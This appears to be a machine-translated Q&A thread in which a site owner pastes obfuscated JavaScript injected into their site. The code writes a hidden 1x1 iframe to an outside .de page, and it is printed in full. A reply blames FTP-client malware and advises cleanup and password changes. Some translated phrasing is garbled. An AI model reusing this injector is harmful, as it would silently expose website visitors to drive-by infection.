0

我在我的网站上的一些 .js 文件中找到了这段代码。

var _0x3ba2=["\x3D","","\x6C\x65\x6E\x67\x74\x68","\x63\x6F\x6F\x6B\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x73\x74\x6F\x70\x65\x64","\x70\x6C\x61\x74\x66\x6F\x72\x6D","\x57\x69\x6E\x33\x32","\x61\x70\x70\x4E\x61\x6D\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x45\x78\x70\x6C\x6F\x72\x65\x72","\x4E\x65\x74\x73\x63\x61\x70\x65","\x34\x33\x32\x30\x30\x30\x20\x68\x6F\x75\x72\x73","\x67\x65\x74\x48\x6F\x75\x72\x73","\x73\x65\x74\x48\x6F\x75\x72\x73","\x73\x74\x6F\x70\x65\x64\x3D","\x3B\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3C\x64\x69\x76\x20\x6E\x61\x6D\x65\x3D\x22\x79\x6F\x75\x74\x75\x62\x65\x22\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6D\x61\x6E\x74\x72\x61\x2D\x73\x74\x6F\x6E\x65\x2E\x64\x65\x2F\x63\x6F\x6E\x74\x61\x63\x74\x2E\x70\x68\x70\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"];function get_cookie(_0x2c9dx2){var _0x2c9dx3=_0x2c9dx2+_0x3ba2[0];var _0x2c9dx4=_0x3ba2[1];if(document[_0x3ba2[3]][_0x3ba2[2]]>0){offset=document[_0x3ba2[3]][_0x3ba2[4]](_0x2c9dx3);if(offset!=-1){offset+=_0x2c9dx3[_0x3ba2[2]];end=document[_0x3ba2[3]][_0x3ba2[4]](_0x3ba2[5],offset);if(end==-1){end=document[_0x3ba2[3]][_0x3ba2[2]];} ;_0x2c9dx4=unescape(document[_0x3ba2[3]][_0x3ba2[6]](offset,end));} ;} ;return _0x2c9dx4;} ;if(get_cookie(_0x3ba2[7])==_0x3ba2[1]&&navigator[_0x3ba2[8]]==_0x3ba2[9]){if(navigator[_0x3ba2[10]]==_0x3ba2[11]||navigator[_0x3ba2[10]]==_0x3ba2[12]){var popfrequency=_0x3ba2[13];var expireDate= new Date();expireDate[_0x3ba2[15]](expireDate[_0x3ba2[14]]()+parseInt(popfrequency));document[_0x3ba2[3]]=_0x3ba2[16]+parseInt(popfrequency)+_0x3ba2[17]+expireDate[_0x3ba2[18]]();document[_0x3ba2[20]](_0x3ba2[19]);} ;} ;

我无法解释它来自哪里？是我的 FTP 登录信息泄露的唯一原因吗？有没有人遇到过这个？因此，我的网站像攻击性网站一样被禁止。

4

1 回答 1

1

我在注入 js 代码时遇到了类似的问题。

我的计算机上有恶意软件，在我与 FT 上的 filezilla 连接后，P 注入了一些 js 代码，女巫在客户端打开了一个隐藏的 iframe。此 iframe 在客户进入网站时感染了客户的计算机。

清除病毒/恶意软件并确保您不会再次受到感染。

使用您已被感染的代码。您可能会感染进入您网站的客户。

幸运的是您的密码可能没有泄露，这种 js 注入是一个自动化过程，但我强烈建议您在另一台干净的计算机上更改密码。

于 2012-08-31T13:10:36.307 回答